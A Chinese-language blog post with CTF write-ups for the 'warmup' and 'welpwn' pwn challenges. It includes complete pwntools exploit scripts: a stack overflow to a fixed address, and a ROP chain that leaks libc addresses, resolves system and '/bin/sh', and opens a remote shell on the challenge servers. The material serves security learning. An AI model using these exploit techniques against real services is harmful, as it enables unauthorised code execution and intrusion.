攻防世界pwn(warmup&welpwn)

更多內容關注博客新址

If you don’t go into the water, you can’t swim in your life

文中所用到的程序文件:bin file

warmup

# -*- coding: cp936 -*-
from pwn import *

# def get_length():
#   i = 0
#   while True:
#       try:
#           p = remote('101.200.240.241',7000)
#           p.recvuntil('biu:')
#           func = int(p.recv(8),16)
#           log.success("func=%#x",func)
#           payload = 'A'*64 + '\x00' + 'B'*i + p64(func)
#           p.sendline(payload)
#           p.recv()
#           try:
#               output = p.recv()
#               return i
#           except EOFError:
#               i += 1
#       except:
#           i += 1
#           p.close()

# length = get_length()
length = 7

p = remote('124.126.19.106',39729)
print p.recv()
print p.recv()
payload = 'A'*64 + '\x00'+ 'B'*7 + p64(0x40060d)
p.sendline(payload)
print p.recv()

welpwn

main函數中的read讀入很長的內容,但是沒辦法造成棧溢出。只能把關注點放到函數echo

int __fastcall echo(__int64 a1)
{
  char s2[16]; // [rsp+10h] [rbp-10h]

  for ( i = 0; *(_BYTE *)(i + a1); ++i )
    s2[i] = *(_BYTE *)(i + a1);
  s2[i] = 0;
  if ( !strcmp("ROIS", s2) )
  {
    printf("RCTF{Welcome}", s2);
    puts(" is not flag");
  }
  return printf("%s", s2);
}

可以發現這個函數實際上就是把之前read獲得的輸入複製到棧上的數組s2中,很容易發現溢出點就在這個地方。

但是還有一個問題,這個複製過程有0截斷,也就是說當我們寫入一連串地址時,並不能夠將所有地址都成功複製到s2中,而64位的程序在構造ROP鏈時無論如何都會有0x00。
不過幸運的是echo的函數棧幀很小:

.text:000000000040071D                 push    rbp
.text:000000000040071E                 mov     rbp, rsp
.text:0000000000400721                 sub     rsp, 20h
.....
.text:00000000004007CB                 leave
.text:00000000004007CC                 retn

也就是說我們可以通過簡單的pop填充,是rsp指向我們在輸入時佈置在main的棧幀中的地址,進而劫持RIP到指定函數完成libc泄露和get shell

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='DEBUG')

# p = process('./welpwn')
p = remote('124.126.19.106',59629)
elf = ELF('./welpwn',checksec=False)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']
pop_rdi = 0x00000000004008a3 # pop rdi ; ret
pop4 = 0x000000000040089C
# we could find it just execute pop xxx 4 times and it will arrive the location we put on stack frame of main by debug
gadgets1 = 0x000000000040089A
gadgets2 = 0x0000000000400880

# call write to leak libc by universe gadgets(get shell successfully both server and local)
payload = 0x18 * 'A'
payload += flat([
    pop4, gadgets1, 0, 1, write_got, 8, write_got, 1, gadgets2
    ])
payload += 'A'*56 + p64(main)
p.send(payload)
p.recvuntil("Welcome to RCTF\n")
write_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success('write_addr = %#x',write_addr)
# pause()
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')

'''
# get shell successfull locally
payload = (0x18)*'A'
payload += flat([pop4 ,pop_rdi,puts_got, puts_plt, main])
p.recvuntil("Welcome to RCTF")
p.send(payload)
# pause()
data = p.recvuntil("Welcome to RCTF\n",drop=True)
pust_addr = u64(data[-7:-1].ljust(8,'\x00'))
log.success('pust_addr = %#x',pust_addr)
# pause()

libc = LibcSearcher('puts',pust_addr)
libc_base = pust_addr - libc.dump('puts')
'''

system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
log.success('system_addr = %#x, binsh = %#x'%(system_addr,binsh))

payload = 'A'*(0x18)
payload += flat([pop4, pop_rdi, binsh, system_addr, main])
p.send(payload)
sleep(0.1)
p.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章